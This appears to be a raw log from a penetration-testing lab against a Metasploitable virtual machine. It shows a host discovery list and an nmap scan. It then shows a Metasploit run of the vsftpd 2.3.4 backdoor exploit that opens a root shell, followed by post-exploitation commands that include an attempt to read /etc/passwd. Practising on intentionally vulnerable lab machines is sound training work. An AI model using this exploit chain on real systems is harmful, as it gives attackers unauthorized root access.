IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.254	18:45:93:c2:7a:50	134	8040	Taicang T&W Electronics
192.168.1.65	3e:14:6a:63:76:b0	1	60	Unknown vendor
192.168.1.69	7e:4e:3b:d8:2f:a3	1	60	Unknown vendor
192.168.1.93	ac:82:47:ea:cc:bb	5	300	Intel Corporate
192.168.1.95	08:00:27:99:80:1c	1	60	PCS Systemtechnik GmbH
192.168.1.96	b2:f0:3d:b1:3d:76	1	60	Unknown vendor
192.168.1.254	18:45:93:c2:7a:59	1	60	Taicang T&W Electronics
192.168.1.67	38:8c:50:78:de:d0	1	60	LG Electronics

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.95
RHOST => 192.168.1.95
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.95:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.95:21 - USER: 331 Please specify the password.
[+] 192.168.1.95:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.95:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.94:36093 -> 192.168.1.95:6200) at
2025-05-09 13:24:46 -0500
```

```
whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 G
NU/Linux
ifconfig && cat/etc/passwd && ls -la /home
eth0      Link encap:Ethernet  HWaddr 08:00:27:99:80:1c
          inet addr:192.168.1.95  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe99:801c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2424 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1831 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:178822 (174.6 KB)  TX bytes:170444 (166.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:234 errors:0 dropped:0 overruns:0 frame:0
          TX packets:234 errors:0 dropped:0 overruns:0 carrier:0
```

```
          TX packets:234 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:89441 (87.3 KB)  TX bytes:89441 (87.3 KB)

sh: line 9: cat/etc/passwd: No such file or directory
```

```
sudo -l
User root may run the following commands on this host:
    (ALL) ALL
```

```
—$ ssh hacker@192.168.1.95
Unable to negotiate with 192.168.1.95 port 22: no matching host key type found.
Their offer: ssh-rsa,ssh-dss

┌──(nuray㉿kali)-[~]
└─$
```